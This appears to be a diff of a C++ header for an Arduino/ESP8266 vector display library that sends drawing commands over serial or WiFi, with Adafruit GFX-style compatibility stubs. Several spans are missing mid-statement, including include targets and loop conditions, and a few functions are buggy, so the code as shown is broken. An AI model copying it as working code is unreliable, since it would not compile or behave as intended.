- args.attribute32.attr = 'b';
- args.attribute32.value = color;
- sendCommand('B', &args, 5);
- }
-
- void textBackColor(uint32_t color) {
- args.attribute32.attr = 'k';
- args.attribute32.value = color;
- sendCommand('B', &args, 5);
- }
-
- void textForeColor(uint32_t color) {
- args.attribute32.attr = 'F';
- args.attribute32.value = color;
- sendCommand('B', &args, 5);
- }
-
- void foreColor565(uint16_t color) {
- args.attribute16.attr = 'f';
- args.attribute16.value = color;
- sendCommand('A', &args, 3);
- curForeColor565 = color;
- }
-
- void backColor565(uint16_t color) {
- args.attribute16.attr = 'b';
- args.attribute16.value = color;
- sendCommand('A', &args, 3);
- }
-
- void textBackColor565(uint16_t color) {
- args.attribute16.attr = 'k';
- args.attribute16.value = color;
- sendCommand('A', &args, 3);
- }
-
- void textForeColor565(uint16_t color) {
- args.attribute16.attr = 'F';
- args.attribute16.value = color;
- sendCommand('A', &args, 3);
- }
-
- void rounded(uint8_t value) {
- args.attribute8.attr = 'n';
- args.attribute8.value = value ? 1 : 0;
- sendCommand('Y', &args, 2);
- }
-
- void thickness(FixedPoint32 t) {
- args.attribute32.attr = 't';
- args.attribute32.value = t;
- sendCommand('B', &args, 5);
- }
-
- void pixelAspectRatio(FixedPoint32 a) {
- args.attribute32.attr = 'a';
- args.attribute32.value = a;
- sendCommand('B', &args, 5);
- }
-
-#ifdef SUPPORT_FLOATING_POINT
- inline void setThickness(double thickness) {
- setThickness(TO_FP32(thickness));
- }
-
- inline void setPixelAspectRatio(double aspect) {
- setThickness(TO_FP32(aspect));
- }
-#endif
-
- void clear() {
- sendCommand('C', NULL, 0);
- }
-
- void update() {
- sendCommand('F', NULL, 0);
- }
-
-/* void reset() {
- sendCommandWithAck('E', NULL, 0);
- } */
-
- void coordinates(int width, int height) {
- args.attribute16x2.attr = 'c';
- curWidth = width;
- curHeight = height;
- args.attribute16x2.values[0] = width;
- args.attribute16x2.values[1] = height;
- sendCommandWithAck('B', &args, 5);
- }
-
- void continuousUpdate(bool value) {
- args.attribute8.attr = 'c';
- args.attribute8.value = value ? 1 : 0;
- sendCommand('Y', &args, 2);
- }
-
- void textHorizontalAlign(char hAlign) {
- args.attribute8.attr = 'h';
- args.attribute8.value = hAlign;
- sendCommand('Y', &args, 2);
- }
-
- void textVerticalAlign(char hAlign) {
- args.attribute8.attr = 'v';
- args.attribute8.value = hAlign;
- sendCommand('Y', &args, 2);
- }
-
- void textOpaqueBackground(bool opaque) {
- args.attribute8.attr = 'o';
- args.attribute8.value = opaque ? 1 : 0;
- sendCommand('Y', &args, 2);
- }
-
- void textBold(bool bold) {
- args.attribute8.attr = 'b';
- args.attribute8.value = bold ? 1 : 0;
- sendCommand('Y', &args, 2);
- }
-
- bool isTouchDown() {
- return pointerDown;
- }
-
- int getTouchX() {
- return pointerX;
- }
-
- int getTouchY() {
- return pointerY;
- }
-
- bool readMessage(VectorDisplayMessage* msg) {
- while (remoteAvailable()) {
- uint8_t c = remoteRead();
-
- if (0 < readPos && millis()-lastMessageStart > MESSAGE_TIMEOUT)
- readPos = 0;
-
- if (2 <= readPos) {
- readBuf[readPos++] = c;
- if (readPos >= VECTOR_DISPLAY_MESSAGE_SIZE) {
- readPos = 0;
- if (msg != NULL)
- memcpy(msg, readBuf, sizeof(VectorDisplayMessage));
- else
- msg = (VectorDisplayMessage*)readBuf;
-
- if (msg->what == MESSAGE_DOWN || msg->what == MESSAGE_UP || msg->what == MESSAGE_MOVE) {
- pointerDown = msg->what != MESSAGE_UP;
- pointerX = msg->data.xy.x;
- pointerY = msg->data.xy.y;
- }
- return true;
- }
- continue;
- }
-
- if (1 <= readPos) {
- if ( (*readBuf == 'U' && c == 'P') ||
- (*readBuf == 'D' && c == 'N') ||
- (*readBuf == 'M' && c == 'V') ||
- (*readBuf == 'B' && c == 'T') ||
- (*readBuf == 'A' && c == 'c')
- ) {
- readBuf[readPos++] = c;
- continue;
- }
- readPos = 0;
- }
- if (readPos == 0 && (c == 'U' || c == 'D' || c == 'M' || c == 'B' || c == 'A')) {
- readBuf[readPos++] = c;
- lastMessageStart = millis();
- }
- }
- return false;
- }
-
- uint32_t color565To8888(uint16_t c) {
- return 0xFF000000 | ((((c>>11) & 0x1F) * 255 / 0x1F) << 16) | ((((c>>5) & 0x3F) * 255 / 0x3F) << 8) | ((c & 0x1F) * 255 / 0x1F);
- }
-
- uint16_t color565(uint8_t r, uint8_t g, uint8_t b) {
- return ((r & 0xF8) << 8) | ((g & 0xFC) << 3) | (b >> 3);
- }
-
- uint32_t getBitmap1Size(int16_t w, int16_t h, uint8_t flags=0) {
- return (flags & FLAG_PAD_BYTE) ? ((uint32_t)w+7)/8*h : ((uint32_t)w*h+7)/8;
- }
-
- uint32_t getBitmapSize(int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0) {
- if (depth==1) {
- return getBitmap1Size(w,h,flags);
- }
- else {
- return w*h*(depth/8);
- }
- }
-
- /*TODO: stubs*/
- void* createSprite(int16_t width, int16_t height, uint8_t frames = 1) { return NULL; }
- void pushSprite(int32_t x, int32_t y) {}
- void deleteSprite(void) {}
- void fillSprite(uint32_t color) {}
-
- void bitmap_progmem(int16_t x, int16_t y, const uint8_t* bmp,
- int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0, const uint8_t* mask=NULL,
- uint32_t foreColor=0xFFFFFFFF,
- uint32_t backColor=0x00FFFFFF) /* PROGMEM */ {
- if (mask != NULL)
- flags |= FLAG_HAVE_MASK;
- uint32_t bitmapSize = getBitmapSize(w,h,depth,flags);
- int headerSize = depth==1 ? 22 : 14;
- uint32_t maskSize = mask == NULL ? 0 : getBitmap1Size(w,h,flags);
- uint32_t fullSize = bitmapSize + headerSize + maskSize;
-
- if (fullSize + 1 > MAX_BUFFER)
- return;
-
- sendDelay();
- remoteWrite('K');
- remoteWrite('K'^0xFF);
- args.bitmap.length = fullSize;
- args.bitmap.depth = 1;
- args.bitmap.flags = flags;
- args.bitmap.x = x;
- args.bitmap.y = y;
- args.bitmap.w = w;
- args.bitmap.h = h;
- if (depth == 1) {
- args.bitmap.foreColor = foreColor;
- args.bitmap.backColor = backColor;
- }
-
- uint8_t sum = sumBytes(&args, headerSize);
- remoteWrite(&args,headerSize);
- for (uint32_t i=0; i MAX_BUFFER)
- return;
-
- sendDelay();
- remoteWrite('K');
- remoteWrite('K'^0xFF);
- args.bitmap.length = fullSize;
- args.bitmap.depth = depth;
- args.bitmap.flags = flags;
- args.bitmap.x = x;
- args.bitmap.y = y;
- args.bitmap.w = w;
- args.bitmap.h = h;
- if (depth == 1) {
- args.bitmap.foreColor = foreColor;
- args.bitmap.backColor = backColor;
- }
- remoteWrite(&args,headerSize);
- remoteWrite(bmp,bitmapSize);
- uint8_t sum = sumBytes(&args, headerSize) + sumBytes((void*)bmp, bitmapSize);
- if (maskSize > 0) {
- remoteWrite(mask,maskSize);
- sum += sumBytes((void*)mask, maskSize);
- }
- remoteWrite(sum^0xFF);
- }
-
- void utf8() {
- fixCP437 = false;
- args.attribute8.attr = 'i';
- args.attribute8.value = 0;
- sendCommand('Y', &args, 2);
- }
-
- /* The following are meant to be compatible with Adafruit GFX */
- void cp437(bool s) {
- // if true, activates real cp437 mode; if false, activates buggy Arduino compatible cp437 mode
- fixCP437 = !s;
- args.attribute8.attr = 'i';
- args.attribute8.value = 1;
- sendCommand('Y', &args, 2);
- }
-
- void setRotation(uint8_t r) {
- args.attribute8.attr = 'r';
- args.attribute8.value = r;
- curRotation = r & 3;
- sendCommand('Y', &args, 2);
- }
-
- void setTextSize(uint8_t size) {
- gfxFontSize = size;
- textsize = size;
- textSize((FixedPoint32)size * 8 * 65536);
- }
-
- void setTextDatum(uint8_t d) { } // mockup
-
- void setTextColor(uint16_t f, uint16_t b) {
- textBackColor565(b);
- textForeColor565(f);
- textcolor = f;
- textbgcolor = b;
- textOpaqueBackground(true);
- }
-
- void setTextColor(uint16_t f) {
- textForeColor565(f);
- textcolor = f;
- textOpaqueBackground(false);
- }
-
- void setCursor(int16_t x, int16_t y) {
- curx = x;
- cury = y;
- }
-
-
- int16_t getCursorX(void) {
- return curx;
- }
-
- int16_t getCursorY(void) {
- return cury;
- }
-
- void setTextWrap(bool w) {
- wrap = w;
- }
-
- int16_t drawRightString(const char *string, int32_t x, int32_t y, uint8_t font) {
- // TODO: add spaces
- return drawString(string, x, y);
- }
-
- int16_t drawRightString(const String& string, int32_t x, int32_t y, uint8_t font) {
- return drawRightString(string.c_str(), x, y, font);
- }
-
- int16_t drawCentreString(const char *string, int32_t x, int32_t y, uint8_t font) {
- // TODO: add spaces
- return drawString(string, x, y);
- }
-
-
- int16_t drawCentreString(const String& string, int32_t x, int32_t y, uint8_t font) {
- return drawCentreString(string.c_str(), x, y, font);
- }
-
- int16_t drawString(const String& string, int32_t x, int32_t y) {
- return drawString(string.c_str(), x, y);
- }
-
- int16_t drawString(const char *string, int32_t x, int32_t y) {
- setCursor(x, y);
- return write(string);
- };
-
- int16_t drawChar(uint16_t uniCode, int32_t x, int32_t y) {
- setCursor(x, y);
- return write(uniCode);
- }
-
- // TODO: fix back color handling
- size_t write(uint8_t c) override {
- if (wrap && curx + 5*gfxFontSize>width()) {
- curx = 0;
- cury += 8*gfxFontSize;
- }
- text(curx, cury, (char*)&c, 1);
- curx += 5*gfxFontSize;
- return 0;
- }
-
- // TODO: fix back color handling
- size_t write(const char* s) /*override*/ { //ESP8266 core doesn't supply write(const char*)
- int l = strlen(s);
- int w = width();
- if (!wrap || curx + 5*gfxFontSize*l <= w) {
- text(curx, cury, s);
- curx += 5*gfxFontSize*l;
- }
- else {
- while(l>0) {
- int end = ((int)w-curx)/(5*gfxFontSize);
- if (end <= 0) {
- curx = 0;
- cury += 8*gfxFontSize;
- end = w/(5*gfxFontSize);
- }
- if (end > l)
- end = l;
- text(curx, cury, s, end);
- l-=end;
- s += end;
- curx = 5*gfxFontSize*end;
- }
- }
- return 0;
- }
-
- void drawPixel(int16_t x, int16_t y, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- point(x, y);
- }
-
- void drawRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- rectangle(x,y,x+w-1,y+h-1);
- }
-
- void fillRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- fillRectangle(x,y,x+w-1,y+h-1);
- }
-
- void drawFastHLine(int16_t x, int16_t y, int16_t w, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- line(x,y,x+w,y);
- }
-
- void drawLine(int16_t x, int16_t y, int16_t x2, int16_t y2, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- line(x,y,x2,y2);
- }
-
-
- // Draw an anti-aliased wide line from ax,ay to bx,by width wd with radiused ends (radius is wd/2)
- // If bg_color is not included the background pixel colour will be read from TFT or sprite
- void drawWideLine(float ax, float ay, float bx, float by, float wd, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF) {
- drawRect(ax, ay, wd, abs(ay-by), fg_color);
- }
-
- // As per "drawSmoothArc" except the ends of the arc are NOT anti-aliased, this facilitates dynamic arc length changes with
- // arc segments and ensures clean segment joints.
- // The sides of the arc are anti-aliased by default. If smoothArc is false sides will NOT be anti-aliased
- void drawArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool smoothArc = true){
- // TODO
- drawRect(x, y, r*2, ir*2, fg_color);
- }
-
- void drawSmoothArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool roundEnds = false) {
- drawArc(x, y, r, ir, startAngle, endAngle, fg_color, bg_color);
- }
-
- // Draw an anti-aliased filled circle at x, y with radius r
- // If bg_color is not included the background pixel colour will be read from TFT or sprite
- void fillSmoothCircle(int32_t x, int32_t y, int32_t r, uint32_t color, uint32_t bg_color = 0x00FFFFFF) {
- fillCircle(x, y, r, color) ;
- }
-
- void drawSmoothRoundRect(int32_t x, int32_t y, int32_t r, int32_t ir, int32_t w, int32_t h, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF, uint8_t quadrants = 0xF) {
- drawRoundRect(x, y, w, h, r, fg_color);
- }
-
- // Draw a filled rounded rectangle , corner radius r and bounding box defined by x,y and w,h
- void fillSmoothRoundRect(int32_t x, int32_t y, int32_t w, int32_t h, int32_t radius, uint32_t color, uint32_t bg_color = 0x00FFFFFF) {
- fillRoundRect(x, y, w, h, radius, color);
- }
-
-
- void drawFastVLine(int16_t x, int16_t y, int16_t h, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- line(x,y,x,y+h);
- }
-
- void fillScreen(uint16_t color) {
- backColor565(color);
- clear();
- backColor(0xFF000000);
- }
-
- void drawCircle(int16_t x, int16_t y, int16_t r, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- circle(x,y,r);
- }
-
- void fillCircle(int16_t x, int16_t y, int16_t r, uint16_t color) {
- if (color != curForeColor565) {
- foreColor565(color);
- }
- fillCircle(x,y,r);
- }
-
- void drawEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) {
- }
- void fillEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) {
- // TODO
- if(rx0) {
- rectangle(cx-r,cy,cx,cy+delta,false);
- rectangle(cx-r,cy,cx,cy+delta,true);
- }
- }
- if (corners & 1) {
- arc(cx,cy,r,TO_FP32(270),TO_FP32(180),false); // drawing edges separately makes things fit better
- arc(cx,cy,r,TO_FP32(270),TO_FP32(180),true);
- arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),false);
- arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),true);
- if (delta>0) {
- rectangle(cx,cy,cx+r,cy+delta,false);
- rectangle(cx,cy,cx+r,cy+delta,true);
- }
- }
- }
-
- void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data) {};
- void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data, uint16_t transparent) {};
-
- void setAddrWindow(int32_t xs, int32_t ys, int32_t w, int32_t h) {};
- void pushPixels(const void * data_in, uint32_t len) {};
-
- void startWrite(void) {};
- void endWrite(void) {};
-
-
- /* the following Adafruit GFX APIs are not implemented at present */
-#pragma GCC diagnostic push
-#pragma GCC diagnostic ignored "-Wunused-parameter"
- void drawChar(int16_t x, int16_t y, unsigned char c, uint16_t color,
- uint16_t bg, uint8_t size) {}
- void setFont(const void /*GFXfont*/ *f = NULL) {}
- void getTextBounds(const char *string, int16_t x, int16_t y,
- int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {}
- void getTextBounds(const void /*__FlashStringHelper*/ *s, int16_t x, int16_t y,
- int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {}
-#pragma GCC diagnostic pop
-};
-
-class SerialDisplayClass : public VectorDisplayClass {
- private:
- Stream& s;
- const bool doSerialBegin;
-
- public:
- virtual int remoteRead() override {
- //return s.read();
- return('A');
- }
-
- virtual void remoteWrite(uint8_t c) override {
- //s.write(c);
- }
-
- virtual void remoteWrite(const void* data, size_t n) override {
- //s.write((uint8_t*)data, n);
- }
-
- /* only works with the Serial object; do not call externally without it */
- void begin(uint32_t speed, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
-#ifndef NO_SERIAL
- if (doSerialBegin) {
- Serial.begin(speed);
- while(!Serial) ;
- }
-#endif
- VectorDisplayClass::begin(width, height);
- }
-
- bool getSwapBytes(void) { return false; } // stub
- void setSwapBytes(bool swap) { return; } // stub
-
- virtual void begin(int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) override {
- begin(115200, width, height);
- }
-
- virtual size_t remoteAvailable() override {
- return s.available();
- }
-
-#ifndef NO_SERIAL
- SerialDisplayClass() : s(Serial), doSerialBegin(true) {}
-#endif
-
- SerialDisplayClass(Stream& _s) : s(_s), doSerialBegin(false) {}
-};
-
-#ifdef ESP8266
-class WiFiDisplayClass : public SerialDisplayClass {
- private:
- WiFiClient client;
- public:
- bool begin(const char* host, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
- VectorDisplayClass::begin(width, height);
- return client.connect(host, 7788);
- }
-
- virtual void end() override {
- VectorDisplayClass::end();
- client.stop();
- }
-
- WiFiDisplayClass() : SerialDisplayClass(client) {
- }
-};
-#endif
-
-#endif
+#ifndef __VECTOR_DISPLAY_H__
+#define __VECTOR_DISPLAY_H__
+
+#ifndef ARDUINO
+#define NO_SERIAL
+#include
+#define pgm_read_byte_near(a) (*(uint8_t*)(a))
+
+#include
+#include
+
+typedef std::string String;
+
+uint32_t millis() {
+ struct timeb t;
+ ftime(&t);
+ return t.millitm + t.time * 1000;
+}
+
+class Print {
+public:
+ virtual size_t write(uint8_t c) = 0;
+ virtual size_t write(const uint8_t* s, size_t length) {
+ size_t wrote = 0;
+ while (length > 0) {
+ size_t b = write(*s++);
+ if (b <= 0)
+ break;
+ b++;
+ length--;
+ }
+ return wrote;
+ }
+
+ virtual size_t write(const char* s) {
+ return write((uint8_t*)s, strlen(s));
+ }
+};
+
+class Stream : public Print {
+public:
+ virtual int read() = 0;
+ virtual int available() = 0;
+};
+
+#else
+#include
+#endif
+
+#ifdef ESP8266
+# include
+#endif
+
+#define VECTOR_DISPLAY_MESSAGE_SIZE 8
+#define VECTOR_DISPLAY_MAX_STRING 256
+
+#define VECTOR_DISPLAY_DEFAULT_WIDTH 240
+#define VECTOR_DISPLAY_DEFAULT_HEIGHT 320
+
+#define ALIGN_LEFT 'l'
+#define ALIGN_RIGHT 'r'
+#define ALIGN_CENTER 'c'
+#define ALIGN_TOP 't'
+#define ALIGN_BOTTOM 'b'
+#define ALIGN_BASELINE 'l'
+
+#ifndef VECTOR_DISPLAY_SEND_DELAY
+#define VECTOR_DISPLAY_SEND_DELAY 0
+#endif
+
+#define TFT_BLACK 0x0000 /* 0, 0, 0 */
+#define TFT_NAVY 0x000F /* 0, 0, 128 */
+#define TFT_DARKGREEN 0x03E0 /* 0, 128, 0 */
+#define TFT_DARKCYAN 0x03EF /* 0, 128, 128 */
+#define TFT_MAROON 0x7800 /* 128, 0, 0 */
+#define TFT_PURPLE 0x780F /* 128, 0, 128 */
+#define TFT_OLIVE 0x7BE0 /* 128, 128, 0 */
+#define TFT_LIGHTGREY 0xC618 /* 192, 192, 192 */
+#define TFT_DARKGREY 0x7BEF /* 128, 128, 128 */
+#define TFT_BLUE 0x001F /* 0, 0, 255 */
+#define TFT_GREEN 0x07E0 /* 0, 255, 0 */
+#define TFT_CYAN 0x07FF /* 0, 255, 255 */
+#define TFT_RED 0xF800 /* 255, 0, 0 */
+#define TFT_MAGENTA 0xF81F /* 255, 0, 255 */
+#define TFT_YELLOW 0xFFE0 /* 255, 255, 0 */
+#define TFT_WHITE 0xFFFF /* 255, 255, 255 */
+#define TFT_ORANGE 0xFD20 /* 255, 165, 0 */
+#define TFT_GREENYELLOW 0xAFE5 /* 173, 255, 47 */
+#define TFT_PINK 0xF81F
+
+// Color definitions for backwards compatibility
+#define ILI9341_BLACK 0x0000 /* 0, 0, 0 */
+#define ILI9341_NAVY 0x000F /* 0, 0, 128 */
+#define ILI9341_DARKGREEN 0x03E0 /* 0, 128, 0 */
+#define ILI9341_DARKCYAN 0x03EF /* 0, 128, 128 */
+#define ILI9341_MAROON 0x7800 /* 128, 0, 0 */
+#define ILI9341_PURPLE 0x780F /* 128, 0, 128 */
+#define ILI9341_OLIVE 0x7BE0 /* 128, 128, 0 */
+#define ILI9341_LIGHTGREY 0xC618 /* 192, 192, 192 */
+#define ILI9341_DARKGREY 0x7BEF /* 128, 128, 128 */
+#define ILI9341_BLUE 0x001F /* 0, 0, 255 */
+#define ILI9341_GREEN 0x07E0 /* 0, 255, 0 */
+#define ILI9341_CYAN 0x07FF /* 0, 255, 255 */
+#define ILI9341_RED 0xF800 /* 255, 0, 0 */
+#define ILI9341_MAGENTA 0xF81F /* 255, 0, 255 */
+#define ILI9341_YELLOW 0xFFE0 /* 255, 255, 0 */
+#define ILI9341_WHITE 0xFFFF /* 255, 255, 255 */
+#define ILI9341_ORANGE 0xFD20 /* 255, 165, 0 */
+#define ILI9341_GREENYELLOW 0xAFE5 /* 173, 255, 47 */
+#define ILI9341_PINK 0xF81F
+
+#define MESSAGE_DOWN 'D'
+#define MESSAGE_UP 'U'
+#define MESSAGE_MOVE 'M'
+#define MESSAGE_BUTTON 'B'
+#define MESSAGE_ACK 'A'
+
+//These enumerate the text plotting alignment (reference datum point)
+#define TL_DATUM 0 // Top left (default)
+#define TC_DATUM 1 // Top centre
+#define TR_DATUM 2 // Top right
+#define ML_DATUM 3 // Middle left
+#define CL_DATUM 3 // Centre left, same as above
+#define MC_DATUM 4 // Middle centre
+#define CC_DATUM 4 // Centre centre, same as above
+#define MR_DATUM 5 // Middle right
+#define CR_DATUM 5 // Centre right, same as above
+#define BL_DATUM 6 // Bottom left
+#define BC_DATUM 7 // Bottom centre
+#define BR_DATUM 8 // Bottom right
+#define L_BASELINE 9 // Left character baseline (Line the 'A' character would sit on)
+#define C_BASELINE 10 // Centre character baseline
+#define R_BASELINE 11 // Right character baseline
+
+typedef uint32_t FixedPoint32;
+#define TO_FP32(f) ((uint32_t)((f)*65536. + 0.5))
+
+struct VectorDisplayMessage {
+ char what;
+ char what2;
+ union {
+ uint8_t button;
+ struct {
+ int16_t x;
+ int16_t y;
+ } xy;
+ } data;
+} __attribute__((packed));
+
+class VectorDisplayClass : public Print {
+private:
+ static const uint32_t MAX_BUFFER = (uint32_t)1024*256;
+ static const uint32_t MESSAGE_TIMEOUT = 3000;
+ static const uint8_t FLAG_LOW_ENDIAN_BITS = 1;
+ static const uint8_t FLAG_HAVE_MASK = 2;
+ static const uint8_t FLAG_PAD_BYTE = 4;
+ static const uint8_t FLAG_LOW_ENDIAN_BYTES = 8;
+
+ bool waitForAck = true;
+ int gfxFontSize = 1;
+ int curx = 0;
+ int cury = 0;
+ int readPos = 0;
+ int32_t curForeColor565 = -1;
+ uint32_t lastMessageStart = 0;
+ int pointerX;
+ int pointerY;
+ int curWidth = VECTOR_DISPLAY_DEFAULT_WIDTH;
+ int curHeight = VECTOR_DISPLAY_DEFAULT_HEIGHT;
+ uint8_t curRotation = 0;
+ bool pointerDown = false;
+ bool wrap = 1;
+ bool fixCP437 = true;
+ uint16_t polyLineCount;
+ uint8_t polyLineSum;
+ uint32_t delayTime = 0;
+
+ uint8_t readBuf[VECTOR_DISPLAY_MESSAGE_SIZE];
+ union {
+ uint32_t color;
+ uint16_t twoByte[9];
+ struct {
+ uint16_t x;
+ uint16_t y;
+ char text[VECTOR_DISPLAY_MAX_STRING+1];
+ } __attribute__((packed)) xyText;
+ struct {
+ uint16_t endianness;
+ uint16_t width;
+ uint16_t height;
+ FixedPoint32 aspectRatio;
+ uint16_t reserved[3];
+ } __attribute__((packed)) initialize;
+ struct {
+ uint8_t c;
+ char text[VECTOR_DISPLAY_MAX_STRING+1];
+ } __attribute__((packed)) charText;
+ struct {
+ uint16_t width;
+ uint16_t height;
+ } __attribute__((packed)) coords;
+ struct {
+ char attr;
+ uint8_t value;
+ } __attribute__((packed)) attribute8;
+ struct {
+ char attr;
+ uint16_t value;
+ } __attribute__((packed)) attribute16;
+ struct {
+ char attr;
+ uint32_t value;
+ } __attribute__((packed)) attribute32;
+ struct {
+ uint32_t length;
+ uint8_t depth;
+ uint8_t flags;
+ uint16_t x;
+ uint16_t y;
+ uint16_t w;
+ uint16_t h;
+ uint32_t foreColor; // only if depth==1
+ uint32_t backColor; // only if depth==1
+ } __attribute__((packed)) bitmap;
+ struct {
+ uint16_t x1;
+ uint16_t y1;
+ uint16_t x2;
+ uint16_t y2;
+ uint16_t r;
+ uint8_t filled;
+ } __attribute__((packed)) roundedRectangle;
+ struct {
+ uint16_t x;
+ uint16_t y;
+ uint16_t r;
+ FixedPoint32 angle1;
+ FixedPoint32 sweep;
+ uint8_t filled;
+ } __attribute__((packed)) arc;
+ struct {
+ char attr;
+ uint16_t values[2];
+ } __attribute__((packed)) attribute16x2;
+ uint8_t bytes[VECTOR_DISPLAY_MAX_STRING+1];
+ char text[VECTOR_DISPLAY_MAX_STRING+1];
+ } args;
+ uint32_t lastSend = 0;
+
+private:
+ inline void sendDelay() {
+ if (delayTime>0) {
+ while(millis()-lastSend < delayTime) ;
+ lastSend = millis();
+ }
+ }
+
+public:
+ int textsize = 1;
+ uint32_t textcolor = TFT_WHITE;
+ uint32_t textbgcolor = TFT_BLACK;
+
+ void setWaitForAck(bool wait) {
+ waitForAck = wait;
+ }
+
+ void setDelay(uint32_t delayMillis) {
+ delayTime = delayMillis;
+ lastSend = millis();
+ }
+
+ virtual void remoteFlush() {
+ /*while(remoteAvailable())
+ remoteRead();
+ * */
+ }
+ virtual int remoteRead() = 0; // must be non-blocking
+ virtual void remoteWrite(uint8_t c) = 0;
+ virtual void remoteWrite(const void* data, size_t n) = 0;
+ virtual size_t remoteAvailable() = 0;
+
+ void attribute8(char a, uint8_t value) {
+ args.attribute8.attr = a;
+ args.attribute8.value = value;
+ sendCommand('Y', &args, 2);
+ }
+
+ void attribute8(char a, bool value) {
+ args.attribute8.attr = a;
+ args.attribute8.value = value ? 1 : 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ void attribute16(char a, uint16_t value) {
+ args.attribute16.attr = a;
+ args.attribute16.value = value;
+ sendCommand('A', &args, 3);
+ }
+
+ void attribute32(char a, uint32_t value) {
+ args.attribute32.attr = a;
+ args.attribute32.value = value;
+ sendCommand('B', &args, 5);
+ }
+
+ void sendCommand(char c, const void* arguments, int argumentsLength) {
+ sendDelay();
+ remoteWrite(c);
+ remoteWrite(c^0xFF);
+ if (argumentsLength > 0)
+ remoteWrite((uint8_t*)arguments, argumentsLength);
+ uint8_t sum = 0;
+ for (int i = 0; i 0)
+ s += *p++;
+ return s;
+ }
+
+ void startPoly(char c, uint16_t n) {
+ polyLineCount = n;
+ remoteWrite(c);
+ remoteWrite(c^0xFF);
+ args.twoByte[0] = n;
+ remoteWrite((uint8_t*)&args, 2);
+ polyLineSum = args.bytes[0] + args.bytes[1];
+ }
+
+ void startFillPoly(uint16_t n) {
+ startPoly('N', n);
+ }
+
+ void startPolyLine(uint16_t n) {
+ startPoly('O', n);
+ }
+
+ void addPolyLine(int16_t x, int16_t y) {
+ if (polyLineCount>0) {
+ args.twoByte[0] = x;
+ args.twoByte[1] = y;
+ remoteWrite((uint8_t*)&args, 4);
+ polyLineSum += args.bytes[0] + args.bytes[1] + args.bytes[2] + args.bytes[3];
+ polyLineCount--;
+ if (polyLineCount == 0) {
+ remoteWrite(0xFF^polyLineSum);
+ }
+ }
+ }
+
+ void line(int x1, int y1, int x2, int y2) {
+ args.twoByte[0] = x1;
+ args.twoByte[1] = y1;
+ args.twoByte[2] = x2;
+ args.twoByte[3] = y2;
+ sendCommand('L', &args, 8);
+ }
+
+ void fillRectangle(int x1, int y1, int x2, int y2) {
+ args.twoByte[0] = x1;
+ args.twoByte[1] = y1;
+ args.twoByte[2] = x2;
+ args.twoByte[3] = y2;
+ sendCommand('R', &args, 8);
+ }
+
+ void rectangle(int x1, int y1, int x2, int y2, bool fill=false) {
+ if (fill)
+ fillRectangle(x1,y1,x2,y2);
+ else {
+ startPolyLine(4);
+ addPolyLine(x1,y1);
+ addPolyLine(x2,y1);
+ addPolyLine(x2,y2);
+ addPolyLine(x1,y2);
+ }
+ }
+
+ void roundedRectangle(int x1, int y1, int x2, int y2, int r, bool fill) {
+ args.roundedRectangle.filled = fill ? 1 : 0;
+ args.roundedRectangle.x1 = x1;
+ args.roundedRectangle.x2 = x2;
+ args.roundedRectangle.y1 = y1;
+ args.roundedRectangle.y2 = y2;
+ args.roundedRectangle.r = r;
+ sendCommand('Q', &args, 11);
+ }
+
+ void roundedRectangle(int x1, int y1, int x2, int y2, int r) {
+ roundedRectangle(x1,y1,x2,y2,r,false);
+ }
+
+ void fillRoundedRectangle(int x1, int y1, int x2, int y2, int r) {
+ roundedRectangle(x1,y1,x2,y2,r,true);
+ }
+
+ void fillTriangle(int x1, int y1, int x2, int y2, int x3, int y3) {
+ args.twoByte[0] = x1;
+ args.twoByte[1] = y1;
+ args.twoByte[2] = x2;
+ args.twoByte[3] = y2;
+ args.twoByte[4] = x3;
+ args.twoByte[5] = y3;
+ sendCommand('G', &args, 12);
+ }
+
+/* void initialize() {
+ args.twoByte[0] = 0x1234; // endianness detector
+ args.twoByte[1] = 0;
+ sendCommandWithAck('H', &args, 4);
+ } */
+
+ void initialize(int w=VECTOR_DISPLAY_DEFAULT_WIDTH, int h=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
+ args.initialize.endianness = 0x1234; // endianness detector
+ args.initialize.width = w;
+ args.initialize.height = h;
+ args.initialize.aspectRatio = TO_FP32(1.);
+ args.initialize.reserved[0] = 0;
+ args.initialize.reserved[1] = 0;
+ args.initialize.reserved[2] = 0;
+ curWidth = w;
+ curHeight = h;
+
+ sendCommandWithAck('Z', &args, 16);
+ }
+
+ void fillCircle(int x, int y, int r) {
+ args.twoByte[0] = x;
+ args.twoByte[1] = y;
+ args.twoByte[2] = r;
+ sendCommand('J', &args, 6);
+ }
+
+ void circle(int x, int y, int r) {
+ args.twoByte[0] = x;
+ args.twoByte[1] = y;
+ args.twoByte[2] = r;
+ sendCommand('I', &args, 6);
+ }
+
